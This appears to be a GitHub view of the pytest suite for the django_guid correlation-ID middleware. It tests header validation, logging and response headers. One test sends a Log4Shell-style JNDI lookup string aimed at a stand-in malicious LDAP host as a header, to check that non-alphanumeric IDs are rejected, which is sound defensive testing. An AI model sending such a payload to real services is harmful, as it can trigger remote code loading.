-
Notifications
You must be signed in to change notification settings - Fork 27
/
test_sync_middleware.py
309 lines (268 loc) · 13 KB
/
test_sync_middleware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
from copy import deepcopy
from django.core.exceptions import ImproperlyConfigured
from django.test import override_settings
import pytest
from django_guid.config import Settings
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_no_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request without any correlation-ID in it logs the correct things.
In this case, it means that the first log message should not have any correlation-ID in it, but the next two
(from views and services.useless_file) should have.
:param mock_uuid: Monkeypatch fixture for mocking UUID
:param client: Django client
:param caplog: caplog fixture
"""
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'UUID_FORMAT': uuid_format}
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/')
expected = [
('sync middleware called', None),
(
'Header `Correlation-ID` was not found in the incoming request. ' f'Generated new GUID: {uuid_data}',
None,
),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == uuid_data
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('97c304252fd14b25b72d6aee31565843', 'hex'), ('97c30425-2fd1-4b25-b72d-6aee31565843', 'string')],
)
def test_request_with_correlation_id(uuid_data, uuid_format, client, caplog, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': uuid_data})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
(f'{uuid_data} is a valid GUID', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == uuid_data
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_non_alnum_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
(f'Non-alnum Correlation-ID provided. New GUID is {uuid_data}', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == uuid_data
def test_request_with_invalid_correlation_id(client, caplog, mock_uuid):
"""
Tests that a request with an invalid GUID is replaced when VALIDATE_GUID is True.
:param client: Django client
:param caplog: Caplog fixture
:param mock_uuid: Monkeypatch fixture for mocking UUID
"""
response = client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('bad-guid is not a valid GUID. New GUID is 704ae5472cae4f8daa8f2cc5a5a8mock', None),
('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
def test_request_with_invalid_correlation_id_without_validation(client, caplog, monkeypatch):
"""
Tests that a request with an invalid GUID is replaced when VALIDATE_GUID is False.
:param client: Django client
:param caplog: Caplog fixture
"""
mocked_settings = {
'GUID_HEADER_NAME': 'Correlation-ID',
'VALIDATE_GUID': False,
'INTEGRATIONS': [],
'IGNORE_URLS': ['no-guid'],
}
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('Returning ID from header without validating it as a GUID', None),
('This log message should have a GUID', 'bad-guid'),
('Some warning in a function', 'bad-guid'),
('Received signal `request_finished`, clearing guid', 'bad-guid'),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
def test_no_return_header_and_drf_url(client, caplog, mock_uuid, monkeypatch):
"""
Tests that it does not return the GUID if RETURN_HEADER is false.
This test also tests a DRF response, just to confirm everything works in both worlds.
"""
mocked_settings = {
'GUID_HEADER_NAME': 'Correlation-ID',
'VALIDATE_GUID': True,
'INTEGRATIONS': [],
'IGNORE_URLS': ['no-guid'],
'RETURN_HEADER': False,
}
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.middleware.settings', settings)
response = client.get('/api')
expected = [
('sync middleware called', None),
(
'Header `Correlation-ID` was not found in the incoming request. Generated new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock',
None,
),
('This is a DRF view log, and should have a GUID.', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert not response.get('Correlation-ID')
def test_no_expose_header_return_header_true(client, monkeypatch):
"""
Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to False
and RETURN_HEADER is True
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['EXPOSE_HEADER'] = False
mocked_settings['RETURN_HEADER'] = True
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.middleware.settings', settings)
response = client.get('/api')
assert not response.get('Access-Control-Expose-Headers')
def test_expose_header_return_header_true(client, monkeypatch):
"""
Tests that it does return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to True
and RETURN_HEADER is True
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['EXPOSE_HEADER'] = True
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.middleware.settings', settings)
response = client.get('/api')
assert response.get('Access-Control-Expose-Headers')
def test_no_expose_header_return_header_false(client, monkeypatch):
"""
Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to False
and RETURN_HEADER is False
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['EXPOSE_HEADER'] = False
mocked_settings['RETURN_HEADER'] = False
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.middleware.settings', settings)
response = client.get('/api')
assert not response.get('Access-Control-Expose-Headers')
def test_expose_header_return_header_false(client, monkeypatch):
"""
Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to True
and RETURN_HEADER is False
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['EXPOSE_HEADER'] = True
mocked_settings['RETURN_HEADER'] = False
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.middleware.settings', settings)
response = client.get('/api')
assert not response.get('Access-Control-Expose-Headers')
def test_cleanup_signal(client, caplog, monkeypatch):
"""
Tests that a request cleans up a request after finishing.
:param client: Django client
:param caplog: Caplog fixture
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['VALIDATE_GUID'] = False
with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'})
client.get('/', **{'HTTP_Correlation-ID': 'another-bad-guid'})
expected = [
# First request
('sync middleware called', None),
('Correlation-ID found in the header', None),
('Returning ID from header without validating it as a GUID', None),
('This log message should have a GUID', 'bad-guid'),
('Some warning in a function', 'bad-guid'),
('Received signal `request_finished`, clearing guid', 'bad-guid'),
# Second request
('sync middleware called', None),
('Correlation-ID found in the header', None),
('Returning ID from header without validating it as a GUID', None),
('This log message should have a GUID', 'another-bad-guid'),
('Some warning in a function', 'another-bad-guid'),
('Received signal `request_finished`, clearing guid', 'another-bad-guid'),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
def test_improperly_configured_if_not_in_installed_apps(client, monkeypatch):
"""
Test that the app will fail if `is_installed('django_guid')` is `False`.
"""
monkeypatch.setattr('django_guid.middleware.apps.is_installed', lambda x: False)
with pytest.raises(ImproperlyConfigured, match='django_guid must be in installed apps'):
client.get('/')
def test_url_ignored(client, caplog):
"""
Test that a URL specified in IGNORE_URLS is ignored.
:param client: Django client
:param caplog: Caplog fixture
"""
from django.conf import settings as django_settings
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['IGNORE_URLS'] = {'no-guid'}
with override_settings(DJANGO_GUID=mocked_settings):
client.get('/no-guid', **{'HTTP_Correlation-ID': 'bad-guid'})
# No log message should have a GUID, aka `None` on index 1.
expected = [
('sync middleware called', None),
('This log message should NOT have a GUID - the URL is in IGNORE_URLS', None),
('Some warning in a function', None),
('Received signal `request_finished`, clearing guid', None),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected